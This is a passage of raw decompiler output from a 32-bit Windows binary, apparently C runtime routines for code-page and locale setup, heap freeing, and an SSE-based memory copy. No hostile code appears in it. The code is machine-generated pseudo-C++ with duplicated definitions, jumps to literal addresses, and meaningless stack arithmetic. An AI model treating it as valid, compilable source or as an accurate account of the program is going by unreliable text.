ecx39 = ebx38 + 8;
if (eax43 > 0x400) {
v44 = reinterpret_cast<void**>(eax43 - (eax43 + reinterpret_cast<uint1_t>(eax43 <
eax43 + reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(ebx38) <
reinterpret_cast<unsigned char>(ecx39)))) & reinterpret_cast<unsigned char>(ecx39));
eax48 = fun_408217(v44, v34, v33, a3, a4, 0, 0, edi24, esi25, ebx26, v45, v46, v47);
esi41 = eax48;
 ecx39 = v44;
if (!esi41) {
addr_40839a_11:
fun_4083c7(ecx39, esi41, v34, v33, a3, a4, 0, 0, edi24, esi25, ebx26, v49, v50,
v51, v52, eax35, v23, ebp53, __return_address(), a1, a2, a3);
goto addr_4083a1_4;
} else {
*reinterpret_cast<void***>(esi41) = reinterpret_cast<void**>(0xdddd);
goto addr_40835b_13;
}
} else {
fun_40cb10(ecx39, v34, v33, a3, a4, 0, 0, edi24, esi25, ebx26, v54, v55, v56);
esi41 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(esp21 - 24 - 4 - 4 -
4 - 4 - 4 + 4 + 4 - 4 - 4 - 4 - 4 - 4 - 4 - 4 + 4) - 4 + 4);
if (!esi41)
goto addr_40839a_11;
v34 = reinterpret_cast<void**>(0xcccc);
goto addr_40835b_13;
}
}
}
eax61 = fun_402f62(reinterpret_cast<unsigned char>(v23) ^
reinterpret_cast<uint32_t>(esp21), v57, v58, v59, v60, eax35, v23, ebp53);
return eax61;
addr_408362_8:
if (esi41 && (fun_403de0(ecx39, esi41, 0, ebx38, v34, v33, a3, a4, 0, 0, edi24, esi25, ebx26,
v62, v63, v64, v65, eax35, v23, ebp53, __return_address(), a1, a2, a3, a4, a5, a6, a7, a8, a9,
a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20), eax66 =
reinterpret_cast<int32_t>(MultiByteToWideChar(ecx39, a6, 1, a3, a4, esi41, eax35, v34, v33,
a3, a4, 0, 0)), !!eax66)) {
GetStringTypeW(ecx39, a2, esi41, eax66, a5, a6, 1, a3, a4, esi41, eax35, v34, v33, a3, a4,
0, 0);
goto addr_40839a_11;
}
addr_40835b_13:
esi41 = esi41 + 8;
goto addr_408362_8;
}

void** fun_4099a0(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, int32_t a10);

struct s31 {
signed char[848] pad848;
 uint32_t f350;
};

void** fun_409bbd(void** a1, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, int32_t a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15,
void** a16) {
int32_t v17;
void*** ebp18;
void** ecx19;
void** v20;
void** v21;
void** v22;
void** v23;
void** ebp24;
void** eax25;
signed char v26;
struct s31* v27;

v17 = reinterpret_cast<int32_t>(__return_address());
ebp18 = reinterpret_cast<void***>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);
ecx19 = reinterpret_cast<void**>(ebp18 + 0xfffffff0);
fun_405d20(ecx19, a1, v20, v21, v22, v23, ebp24, *reinterpret_cast<void***>(&v17));
eax25 = fun_4099a0(ecx19, ebp18 + 0xfffffff4, a2, a3, a4, a5, a6, a7, a8, a9);
if (v26) {
v27->f350 = v27->f350 & 0xfffffffd;
}
return eax25;
}

void** fun_40769d(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12);

void** fun_407312(void** a1);

void** fun_40773f(void** a1, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void**
a16, void** a17, void** a18, void** a19, void** a20, void** a21, void** a22, void** a23, void**
a24);

int32_t fun_40563c(void** ecx);

void** g4166a0 = reinterpret_cast<void**>(0xfe);

void fun_4071e8(void** a1, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7, void**
a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void** a16);

/* (image base) */
void** image_base_ = reinterpret_cast<void**>(88);

/* (image base) */
void** image_base_ = reinterpret_cast<void**>(88);

void** fun_40757e(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15) {
void** v16;
void** v17;
void** ebp18;
void*** ebp19;
void** v20;
void** v21;
void** v22;
void** eax23;
void** v24;
void** v25;
void** v26;
void** eax27;
void** v28;
void** v29;
void** ebx30;
void** v31;
void** esi32;
void** v33;
void** edi34;
void** v35;
void** eax36;
void** edi37;
void** ecx38;
void** esi39;
int32_t ecx40;
void** esi41;
void** v42;
void** eax43;
void** eax44;
void** v45;
void** v46;
void** v47;
int1_t zf48;
 void** v49;
void** v50;
void** eax51;
void** v52;
void** eax53;

v16 = reinterpret_cast<void**>(__return_address());
v17 = ebp18;
ebp19 = reinterpret_cast<void***>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);
eax23 = fun_40695e(ecx, v20, v21, v22, v17, v16, a2, a3, a4, a5, a6, a7);
v24 = eax23;
fun_40769d(ecx, v25, v26, v24, v17, v16, a2, a3, a4, a5, a6, a7);
eax27 = fun_407312(a2);
v28 = eax27;
if (eax27 != *reinterpret_cast<void***>(*reinterpret_cast<void***>(v24 + 72) + 4)) {
v29 = ebx30;
v31 = esi32;
v33 = edi34;
eax36 = fun_408217(0x220, v33, v31, v29, v28, v35, v24, v17, v16, a2, a3, a4, a5);
edi37 = eax36;
ecx38 = reinterpret_cast<void**>(0x220);
if (!edi37) {
addr_4075f3_3:
esi39 = reinterpret_cast<void**>(0xffffffff);
} else {
ecx40 = 0x88;
esi41 = *reinterpret_cast<void***>(v24 + 72);
while (ecx40) {
--ecx40;
*reinterpret_cast<void***>(edi37) = *reinterpret_cast<void***>(esi41);
edi37 = edi37 + 4;
esi41 = esi41 + 4;
}
edi37 = eax36;
*reinterpret_cast<void***>(edi37) = reinterpret_cast<void**>(0);
eax43 = fun_40773f(v28, edi37, v33, v31, v29, v28, v42, v24, v17, v16, a2, a3, a4, a5,
a6, a7, a8, a9, a10, a11, a12, a13, a14, a15);
esi39 = eax43;
ecx38 = edi37;
if (!reinterpret_cast<int1_t>(esi39 == 0xffffffff))
goto addr_407605_8; else
goto addr_4075e8_9;
}
} else {
 eax44 = reinterpret_cast<void**>(0);
goto addr_407601_11;
}
addr_4075f5_12:
fun_406c46(ecx38, edi37, v33, v31, v29, v28, v45, v24, v17, v16, a2, a3, a4, a5, a6, a7);
eax44 = esi39;
addr_407601_11:
return eax44;
addr_407605_8:
if (!*reinterpret_cast<signed char*>(&a3)) {
fun_40563c(ecx38);
}
__asm__("lock xadd [eax], ebx");
if (!1 && *reinterpret_cast<void***>(v24 + 72) != 0x416358) {
v46 = *reinterpret_cast<void***>(v24 + 72);
fun_406c46(ecx38, v46, v33, v31, v29, v28, v47, v24, v17, v16, a2, a3, a4, a5, a6, a7);
}
*reinterpret_cast<void***>(edi37) = reinterpret_cast<void**>(1);
ecx38 = edi37;
edi37 = reinterpret_cast<void**>(0);
*reinterpret_cast<void***>(v24 + 72) = ecx38;
if (!(reinterpret_cast<unsigned char>(*reinterpret_cast<void***>(v24 + 0x350)) & 2) && ((zf48
= (*reinterpret_cast<unsigned char*>(&g4166a0) & 1) == 0, zf48) && (v28 =
reinterpret_cast<void**>(ebp19 + 0xfffffffc), v49 = reinterpret_cast<void**>(ebp19 + 0xfffffff4),
fun_4071e8(5, v49, v33, v31, v29, v28, v50, v24, v17, v16, a2, a3, a4, a5, a6, a7), ecx38 = v49,
!!*reinterpret_cast<signed char*>(&a3)))) {
eax51 = image_base_;
image_base_ = eax51;
goto addr_4075f5_12;
}
addr_4075e8_9:
eax53 = fun_4060e8(ecx38, v33, v31, v29, v28, v52, v24, v17, v16, a2);
*reinterpret_cast<void***>(eax53) = reinterpret_cast<void**>(22);
goto addr_4075f3_3;
}

void** fun_4072d4(void** a1, void** a2, void** a3);

int32_t IsValidCodePage = 0x154ac;

void** g416edc;

void** fun_40773f(void** a1, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void**
a16, void** a17, void** a18, void** a19, void** a20, void** a21, void** a22, void** a23, void**
a24) {
void** v25;
void** v26;
void** ebp27;
void*** ebp28;
uint32_t eax29;
void** v30;
void** v31;
void** ebx32;
void** v33;
void** esi34;
void** esi35;
void** eax36;
void** ebx37;
void** v38;
void** edi39;
void** edi40;
void** ecx41;
void** eax42;
void** v43;
void** v44;
void** v45;
void** v46;
void** v47;
void** v48;
void** v49;
void** v50;
void** v51;
void** v52;
void** v53;
void** v54;
void** v55;
void** v56;
void** eax57;
void** v58;
void** eax59;
void** ecx60;
void* edx61;
void* eax62;
void** eax63;
void** ecx64;
void*** edx65;
int32_t edi66;
void** v67;
void** v68;
void** v69;
void** v70;
void** v71;
void** eax72;
void** v73;
void** v74;
void** v75;
int1_t zf76;
void** v77;
void** v78;
void** v79;
void** v80;
void** v81;
void** v82;
void** v83;
void** v84;
void** v85;
void** v86;
void** v87;
void** v88;
void** v89;
signed char v90;
void* edx91;
void* ecx92;
unsigned char* eax93;
int32_t ecx94;
void** v95;
void** eax96;
void** edi97;
void** edi98;

v25 = reinterpret_cast<void**>(__return_address());
v26 = ebp27;
ebp28 = reinterpret_cast<void***>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);
eax29 = g416004;
v30 = reinterpret_cast<void**>(eax29 ^ reinterpret_cast<uint32_t>(ebp28));
v31 = ebx32;
v33 = esi34;
esi35 = a2;
eax36 = fun_407312(a1);
ebx37 = eax36;
if (ebx37) {
 v38 = edi39;
edi40 = reinterpret_cast<void**>(0);
ecx41 = reinterpret_cast<void**>(0);
eax42 = reinterpret_cast<void**>(0);
v43 = reinterpret_cast<void**>(0);
do {
if (*reinterpret_cast<void***>(eax42 + 0x416060) == ebx37)
break;
++ecx41;
eax42 = eax42 + 48;
v43 = ecx41;
} while (reinterpret_cast<unsigned char>(eax42) < reinterpret_cast<unsigned char>(0xf0));
goto addr_407797_5;
} else {
fun_407385(a1, esi35, v33, v31, v44, v45, v46, v47, v48, v49, v50, v30, v26, v25, a1, a2,
a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19);
goto addr_407920_7;
}
fun_403de0(ecx41, esi35 + 24, 0, 0x101, v38, v33, v31, v51, v43, v52, v53, v54, v55, v56,
v30, v26, v25, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18,
a19, a20, a21, a22, a23, a24);
eax57 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(v43) * 48);
v58 = eax57;
eax59 = eax57 + 0x416070;
v43 = eax59;
do {
ecx60 = eax59;
if (*reinterpret_cast<void***>(eax59)) {
do {
if (!*reinterpret_cast<void***>(ecx60 + 1))
break;
edx61 = reinterpret_cast<void*>(static_cast<uint32_t>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(ecx60))));
eax62 = reinterpret_cast<void*>(static_cast<uint32_t>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(ecx60 + 1))));
while (reinterpret_cast<uint32_t>(edx61) <= reinterpret_cast<uint32_t>(eax62) &&
reinterpret_cast<uint32_t>(edx61) < 0x100) {
*reinterpret_cast<unsigned char*>(reinterpret_cast<unsigned char>(esi35) +
reinterpret_cast<uint32_t>(edx61) + 25) = reinterpret_cast<unsigned
char>(*reinterpret_cast<unsigned char*>(reinterpret_cast<unsigned char>(esi35) +
reinterpret_cast<uint32_t>(edx61) + 25) | *reinterpret_cast<unsigned char*>(edi40 +
0x41605c));
edx61 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(edx61) + 1);
 eax62 = reinterpret_cast<void*>(static_cast<uint32_t>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(ecx60 + 1))));
}
ecx60 = ecx60 + 2;
} while (*reinterpret_cast<void***>(ecx60));
eax59 = v43;
}
++edi40;
eax59 = eax59 + 8;
v43 = eax59;
} while (reinterpret_cast<unsigned char>(edi40) < reinterpret_cast<unsigned char>(4));
*reinterpret_cast<void***>(esi35 + 4) = ebx37;
*reinterpret_cast<void***>(esi35 + 8) = reinterpret_cast<void**>(1);
eax63 = fun_4072d4(ebx37, v38, v33);
*reinterpret_cast<void***>(esi35 + 0x21c) = eax63;
ecx64 = esi35 + 12;
edx65 = reinterpret_cast<void***>(v58 + 0x416064);
edi66 = 6;
do {
edx65 = edx65 + 2;
*reinterpret_cast<void***>(ecx64) = *edx65;
ecx64 = ecx64 + 2;
--edi66;
} while (edi66);
addr_407916_19:
fun_4073ea(esi35);
addr_40791c_20:
addr_40791f_21:
addr_407920_7:
eax72 = fun_402f62(reinterpret_cast<unsigned char>(v30) ^
reinterpret_cast<uint32_t>(ebp28), v58, v43, v67, v68, v69, v70, v71);
return eax72;
addr_407797_5:
if (ebx37 == 0xfde8)
goto addr_40786b_22;
if (ebx37 == 0xfde9)
goto addr_40786b_22;
v73 = reinterpret_cast<void**>(static_cast<uint32_t>(*reinterpret_cast<uint16_t*>(&ebx37)));
eax42 = reinterpret_cast<void**>(IsValidCodePage());
if (!eax42)
goto addr_40786b_22;
v74 = reinterpret_cast<void**>(ebp28 + 0xffffffe8);
v75 = ebx37;
eax42 = reinterpret_cast<void**>(GetCPInfo(v75, v74));
 if (!eax42) {
zf76 = g416edc == 0;
if (zf76) {
addr_40786b_22:
goto addr_40791f_21;
} else {
fun_407385(ecx41, esi35, v75, v74, v73, v38, v33, v31, v77, v43, v78, v79, v80, v81,
v82, v30, v26, v25, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15);
goto addr_40791c_20;
}
} else {
fun_403de0(ecx41, esi35 + 24, 0, 0x101, v75, v74, v73, v38, v33, v31, v83, v43, v84, v85,
v86, v87, v88, v30, v26, v25, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15,
a16, a17, a18, a19, a20, a21);
*reinterpret_cast<void***>(esi35 + 4) = ebx37;
*reinterpret_cast<void***>(esi35 + 0x21c) = reinterpret_cast<void**>(0);
if (reinterpret_cast<unsigned char>(v89) <= reinterpret_cast<unsigned char>(1)) {
*reinterpret_cast<void***>(esi35 + 8) = reinterpret_cast<void**>(0);
} else {
if (v90) {
do {
if (!*reinterpret_cast<unsigned char*>(&v30 + 1))
break;
edx91 = reinterpret_cast<void*>(static_cast<uint32_t>(*reinterpret_cast<unsigned
char*>(&v30 + 1)));
ecx92 = reinterpret_cast<void*>(static_cast<uint32_t>(*reinterpret_cast<unsigned
char*>(&v30)));
while (reinterpret_cast<uint32_t>(ecx92) <= reinterpret_cast<uint32_t>(edx91)) {
*reinterpret_cast<unsigned char*>(reinterpret_cast<unsigned char>(esi35) +
reinterpret_cast<uint32_t>(ecx92) + 25) = reinterpret_cast<unsigned
char>(*reinterpret_cast<unsigned char*>(reinterpret_cast<unsigned char>(esi35) +
reinterpret_cast<uint32_t>(ecx92) + 25) | 4);
ecx92 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(ecx92) + 1);
}
} while (*reinterpret_cast<unsigned char*>(&v30 + 2));
}
eax93 = reinterpret_cast<unsigned char*>(esi35 + 26);
ecx94 = 0xfe;
do {
*eax93 = reinterpret_cast<unsigned char>(*eax93 | 8);
++eax93;
--ecx94;
} while (ecx94);
v95 = *reinterpret_cast<void***>(esi35 + 4);
 eax96 = fun_4072d4(v95, v75, v74);
*reinterpret_cast<void***>(esi35 + 0x21c) = eax96;
*reinterpret_cast<void***>(esi35 + 8) = reinterpret_cast<void**>(1);
}
edi97 = esi35 + 12;
*reinterpret_cast<void***>(edi97) = reinterpret_cast<void**>(0);
edi98 = edi97 + 4;
*reinterpret_cast<void***>(edi98) = reinterpret_cast<void**>(0);
*reinterpret_cast<void***>(edi98 + 4) = reinterpret_cast<void**>(0);
esi35 = esi35 + 4 + 4 + 4;
goto addr_407916_19;
}
}

int32_t g416dc4;

int32_t fun_40563c(void** ecx) {

int32_t tmp32_2;

tmp32_2 = g416dc4;
g416dc4 = 1;
return tmp32_2;
}

void fun_4071a5(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void**
a16, void** a17, void** a18, void** a19, void** a20, void** a21, void** a22, void** a23, void**
a24, void** a25);

void fun_4071e8(void** a1, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7, void**
a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void** a16) {
void*** ebp17;
void** v18;
void** ebp19;

ebp17 = reinterpret_cast<void***>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);

fun_4071a5(ebp17 + 0xffffffff, ebp17 + 0xfffffff4, a2, ebp17 + 0xfffffff8, a1, a1, v18, ebp19,
__return_address(), a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16);
return;
}

signed char g416ee0;

signed char fun_40767f(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void**
a7, void** a8, void** a9, void** a10, void** a11, void** a12) {
int1_t zf13;

zf13 = g416ee0 == 0;
if (zf13) {
fun_40757e(ecx, 0xfd, 1, __return_address(), a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12);
g416ee0 = 1;
}
return 1;
}

void fun_40772e(void** ecx);

void** fun_40769d(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12) {
void** v13;
void** esi14;
int32_t ebp15;
void** eax16;
void** edi17;
void** ecx18;
int32_t ebp19;
int32_t ebp20;
int1_t zf21;
void** eax22;
int32_t ebp23;
int32_t ebp24;

v13 = reinterpret_cast<void**>(__return_address());
fun_4038a0(ecx, 0x4149e8, 12, v13);
esi14 = reinterpret_cast<void**>(0);
*reinterpret_cast<void***>(ebp15 - 28) = reinterpret_cast<void**>(0);
eax16 = fun_40695e(ecx, 0x4149e8, 12, v13, a2, a3, a4, a5, a6, a7, a8, a9);
edi17 = eax16;
ecx18 = g4166a0;
if (!(reinterpret_cast<unsigned char>(*reinterpret_cast<void***>(edi17 + 0x350)) &
reinterpret_cast<unsigned char>(ecx18)) || !*reinterpret_cast<void***>(edi17 + 76)) {
while (1) {
fun_407a92(ecx18, 5);
ecx18 = reinterpret_cast<void**>(5);
*reinterpret_cast<void***>(ebp19 - 4) = esi14;
esi14 = *reinterpret_cast<void***>(edi17 + 72);
*reinterpret_cast<void***>(ebp20 - 28) = esi14;
 zf21 = esi14 == image_base_;
if (!zf21) {
if (esi14 && (!1 && esi14 != 0x416358)) {
fun_406c46(5, esi14, 0x4149e8, 12, v13, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11,
a12);
ecx18 = esi14;
}
eax22 = image_base_;
*reinterpret_cast<void***>(edi17 + 72) = eax22;
esi14 = image_base_;
*reinterpret_cast<void***>(ebp23 - 28) = esi14;
*reinterpret_cast<void***>(esi14) = *reinterpret_cast<void***>(esi14) + 1;
}
*reinterpret_cast<int32_t*>(ebp24 - 4) = -2;
fun_40772e(ecx18);
addr_4076cb_7:
if (esi14)
break;
fun_405ccd(ecx18, 0x4149e8, 12, v13, a2, a3, a4);
}
fun_4038f0(ecx18, 0x4149e8, 12, v13, a2);
goto 0x4149e8;
} else {
esi14 = *reinterpret_cast<void***>(edi17 + 72);
goto addr_4076cb_7;
}
}

void fun_405ccd(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7) {
int32_t eax8;
int1_t zf9;
int32_t eax10;
void** v11;
void** eax12;
void** esi13;
void** ebp14;
void** eax15;
void** eax16;
void** eax17;

eax8 = fun_408a71(ecx);
if (eax8) {
fun_408acc(ecx, 22, __return_address(), a2, a3, a4, a5, a6, a7);
ecx = reinterpret_cast<void**>(22);
 }
zf9 = (g416040 & 2) == 0;
if (!zf9) {
eax10 = fun_40c86c(ecx, 23, __return_address(), a2, a3);
if (eax10) {
ecx = reinterpret_cast<void**>(7);
__asm__("int 0x29");
}
fun_405e62(ecx, 3, 0x40000015, 1, 23, __return_address(), a2, a3);
}
fun_40559b(ecx, 3);
if (__return_address() && (v11 = g417250, eax12 = reinterpret_cast<void**>(HeapFree(ecx,
v11, 0, __return_address())), !eax12)) {
eax15 = fun_4060e8(ecx, esi13, v11, 0, __return_address(), ebp14, 3, __return_address(),
a2, a3);
eax16 = reinterpret_cast<void**>(GetLastError(ecx));
eax17 = fun_40606f(ecx, eax16);
*reinterpret_cast<void***>(eax15) = eax17;
}
goto 3;
}

/* (image base) */
void** image_base_ = reinterpret_cast<void**>(0xcc);

/* (image base) */
void** image_base_ = reinterpret_cast<void**>(0xd8);

/* (image base) */
void** image_base_ = reinterpret_cast<void**>(0xe4);

/* (image base) */
void** image_base_ = reinterpret_cast<void**>(0xf0);

void** fun_4072d4(void** a1, void** a2, void** a3) {

uint32_t eax4;
void** eax5;
uint32_t eax6;
void** eax7;
uint32_t eax8;
void** eax9;
void** eax10;

eax4 = reinterpret_cast<uint32_t>(a1 - 0x3a4);

 if (!eax4) {
eax5 = image_base_;
return eax5;
} else {
eax6 = eax4 - 4;
if (!eax6) {
eax7 = image_base_;
return eax7;
} else {
eax8 = eax6 - 13;
if (!eax8) {
eax9 = image_base_;
return eax9;
} else {
if (!(eax8 - 1)) {
eax10 = image_base_;
return eax10;
} else {
return 0;
}
}
}
}
}

struct s32 {
uint32_t f0;
signed char[4] pad8;
void** f8;
};

struct s33 {
void* f0;
void** f4;
};

struct s34 {
signed char[12] pad12;
void** fc;
};

struct s35 {
int32_t f0;
signed char f1;
 signed char f2;
signed char f3;
};

struct s36 {
int32_t f0;
signed char f1;
signed char f2;
signed char f3;
};

void** fun_4044a0(void** ecx, void** a2, void** a3, void** a4, void** a5) {
void** esi6;
void** ecx7;
void** edi8;
signed char* esi9;
signed char* edi10;
int1_t cf11;
uint32_t edx12;
int1_t cf13;
int1_t cf14;
int1_t cf15;
void** edx16;
uint32_t ecx17;
uint32_t eax18;
uint32_t ecx19;
uint32_t ecx20;
uint32_t ecx21;
struct s32* esi22;
struct s33* esi23;
struct s34* esi24;
uint32_t eax25;
uint32_t edx26;
void** v27;
uint32_t eax28;
uint32_t ecx29;
uint32_t eax30;
void** edx31;
uint32_t edx32;
uint32_t edx33;
int1_t cf34;
uint32_t ecx35;
uint32_t edx36;
struct s35* esi37;
 struct s36* edi38;

esi6 = a3;
ecx7 = a4;
edi8 = a2;
if (reinterpret_cast<unsigned char>(edi8) <= reinterpret_cast<unsigned char>(esi6) ||
reinterpret_cast<unsigned char>(edi8) >= reinterpret_cast<unsigned
char>(reinterpret_cast<unsigned char>(ecx7) + reinterpret_cast<unsigned char>(esi6))) {
if (reinterpret_cast<unsigned char>(ecx7) < reinterpret_cast<unsigned char>(32))
goto addr_40499b_3;
if (reinterpret_cast<unsigned char>(ecx7) < reinterpret_cast<unsigned char>(0x80))
goto addr_4044d1_5;
} else {
esi9 = reinterpret_cast<signed char*>(reinterpret_cast<unsigned char>(esi6) +
reinterpret_cast<unsigned char>(ecx7));
edi10 = reinterpret_cast<signed char*>(reinterpret_cast<unsigned char>(edi8) +
reinterpret_cast<unsigned char>(ecx7));
if (reinterpret_cast<unsigned char>(ecx7) < reinterpret_cast<unsigned char>(32)) {
addr_4048b4_7:
if (reinterpret_cast<unsigned char>(ecx7) & 0xfffffffc) {
do {
edi10 = edi10 - 4;
esi9 = esi9 - 4;
*edi10 = *esi9;
ecx7 = ecx7 - 4;
} while (reinterpret_cast<unsigned char>(ecx7) & 0xfffffffc);
goto addr_4048d1_9;
}
} else {
cf11 = static_cast<int1_t>(g416010 >> 1);
if (cf11) {
if (reinterpret_cast<uint32_t>(edi10) & 15) {
do {
--ecx7;
--esi9;
--edi10;
*edi10 = *esi9;
} while (reinterpret_cast<uint32_t>(edi10) & 15);
}
do {
if (reinterpret_cast<unsigned char>(ecx7) < reinterpret_cast<unsigned char>(0x80))
break;
esi9 = esi9 - 0x80;
edi10 = edi10 - 0x80;
 __asm__("movdqu xmm0, [esi]");
__asm__("movdqu xmm1, [esi+0x10]");
__asm__("movdqu xmm2, [esi+0x20]");
__asm__("movdqu xmm3, [esi+0x30]");
__asm__("movdqu xmm4, [esi+0x40]");
__asm__("movdqu xmm5, [esi+0x50]");
__asm__("movdqu xmm6, [esi+0x60]");
__asm__("movdqu xmm7, [esi+0x70]");
__asm__("movdqu [edi], xmm0");
__asm__("movdqu [edi+0x10], xmm1");
__asm__("movdqu [edi+0x20], xmm2");
__asm__("movdqu [edi+0x30], xmm3");
__asm__("movdqu [edi+0x40], xmm4");
__asm__("movdqu [edi+0x50], xmm5");
__asm__("movdqu [edi+0x60], xmm6");
__asm__("movdqu [edi+0x70], xmm7");
ecx7 = ecx7 - 0x80;
} while (reinterpret_cast<unsigned char>(ecx7) & 0xffffff80);
if (reinterpret_cast<unsigned char>(ecx7) >= reinterpret_cast<unsigned char>(32)) {
do {
esi9 = esi9 - 32;
edi10 = edi10 - 32;
__asm__("movdqu xmm0, [esi]");
__asm__("movdqu xmm1, [esi+0x10]");
__asm__("movdqu [edi], xmm0");
__asm__("movdqu [edi+0x10], xmm1");
ecx7 = ecx7 - 32;
} while (reinterpret_cast<unsigned char>(ecx7) & 0xffffffe0);
goto addr_4048b4_7;
}
} else {
if (reinterpret_cast<uint32_t>(edi10) & 3) {
edx12 = reinterpret_cast<uint32_t>(edi10) & 3;
ecx7 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(ecx7) - edx12);
do {
edi10[0xffffffff] = esi9[0xffffffff];
--esi9;
--edi10;
--edx12;
} while (edx12);
}
if (reinterpret_cast<unsigned char>(ecx7) < reinterpret_cast<unsigned char>(32))
goto addr_4048b4_7; else
goto addr_404796_21;
 }
}
}
cf13 = static_cast<int1_t>(g416ae4 >> 1);
if (cf13) {
while (ecx7) {
--ecx7;
*reinterpret_cast<void***>(edi8) = *reinterpret_cast<void***>(esi6);
++edi8;
++esi6;
}
return a2;
}
if ((reinterpret_cast<unsigned char>(edi8) ^ reinterpret_cast<unsigned char>(esi6)) & 15)
goto addr_404510_28;
cf14 = static_cast<int1_t>(g416010 >> 1);
if (cf14)
goto addr_4048f0_30;
addr_404510_28:
cf15 = static_cast<int1_t>(g416ae4);
if (!cf15 || reinterpret_cast<unsigned char>(edi8) & 3) {
addr_4046c7_31:
if (reinterpret_cast<unsigned char>(edi8) & 3) {
do {
*reinterpret_cast<void***>(edi8) = *reinterpret_cast<void***>(esi6);
--ecx7;
++esi6;
++edi8;
} while (reinterpret_cast<unsigned char>(edi8) & 3);
goto addr_4046e2_33;
}
} else {
if (reinterpret_cast<unsigned char>(esi6) & 3) {
addr_4046e2_33:
edx16 = ecx7;
if (reinterpret_cast<unsigned char>(ecx7) < reinterpret_cast<unsigned char>(32)) {
addr_40499b_3:
ecx17 = reinterpret_cast<unsigned char>(ecx7) & 31;
if (ecx17) {
eax18 = ecx17;
ecx19 = ecx17 >> 2;
if (ecx19) {
do {
*reinterpret_cast<void***>(edi8) = *reinterpret_cast<void***>(esi6);
 edi8 = edi8 + 4;
esi6 = esi6 + 4;
--ecx19;
} while (ecx19);
}
ecx20 = eax18 & 3;
if (ecx20) {
do {
*reinterpret_cast<void***>(edi8) = *reinterpret_cast<void***>(esi6);
++esi6;
++edi8;
--ecx20;
} while (ecx20);
}
}
} else {
ecx21 = reinterpret_cast<unsigned char>(ecx7) >> 2;
while (ecx21) {
--ecx21;
*reinterpret_cast<void***>(edi8) = *reinterpret_cast<void***>(esi6);
edi8 = edi8 + 4;
esi6 = esi6 + 4;
}
goto *reinterpret_cast<int32_t*>((reinterpret_cast<unsigned char>(edx16) & 3) * 4 +
0x404704);
}
} else {
if (static_cast<int1_t>(reinterpret_cast<unsigned char>(edi8) >> 2)) {
ecx7 = ecx7 - 4;
esi6 = esi6 + 4;
*reinterpret_cast<void***>(edi8) = *reinterpret_cast<void***>(esi6);
edi8 = edi8 + 4;
}
if (static_cast<int1_t>(reinterpret_cast<unsigned char>(edi8) >> 3)) {
__asm__("movq xmm1, [esi]");
ecx7 = ecx7 - 8;
esi6 = esi6 + 8;
__asm__("movq [edi], xmm1");
edi8 = edi8 + 8;
}
if (!(reinterpret_cast<unsigned char>(esi6) & 7)) {
__asm__("movdqa xmm1, [esi-0x8]");
esi22 = reinterpret_cast<struct s32*>(esi6 + 0xfffffff8);
ecx7 = ecx7;
 do {
__asm__("movdqa xmm3, [esi+0x10]");
ecx7 = ecx7 - 48;
__asm__("movdqa xmm0, [esi+0x20]");
__asm__("movdqa xmm5, [esi+0x30]");
esi22 = reinterpret_cast<struct s32*>(reinterpret_cast<uint32_t>(esi22) + 48);
__asm__("movdqa xmm2, xmm3");
__asm__("palignr xmm3, xmm1, 0x8");
__asm__("movdqa [edi], xmm3");
__asm__("movdqa xmm4, xmm0");
__asm__("palignr xmm0, xmm2, 0x8");
__asm__("movdqa [edi+0x10], xmm0");
__asm__("movdqa xmm1, xmm5");
__asm__("palignr xmm5, xmm4, 0x8");
__asm__("movdqa [edi+0x20], xmm5");
edi8 = edi8 + 48;
} while (reinterpret_cast<unsigned char>(ecx7) >= reinterpret_cast<unsigned
char>(48));
esi6 = reinterpret_cast<void**>(&esi22->f8);
} else {
if (!static_cast<int1_t>(reinterpret_cast<unsigned char>(esi6) >> 3)) {
__asm__("movdqa xmm1, [esi-0x4]");
esi23 = reinterpret_cast<struct s33*>(esi6 + 0xfffffffc);
edi8 = edi8;
do {
__asm__("movdqa xmm3, [esi+0x10]");
ecx7 = ecx7 - 48;
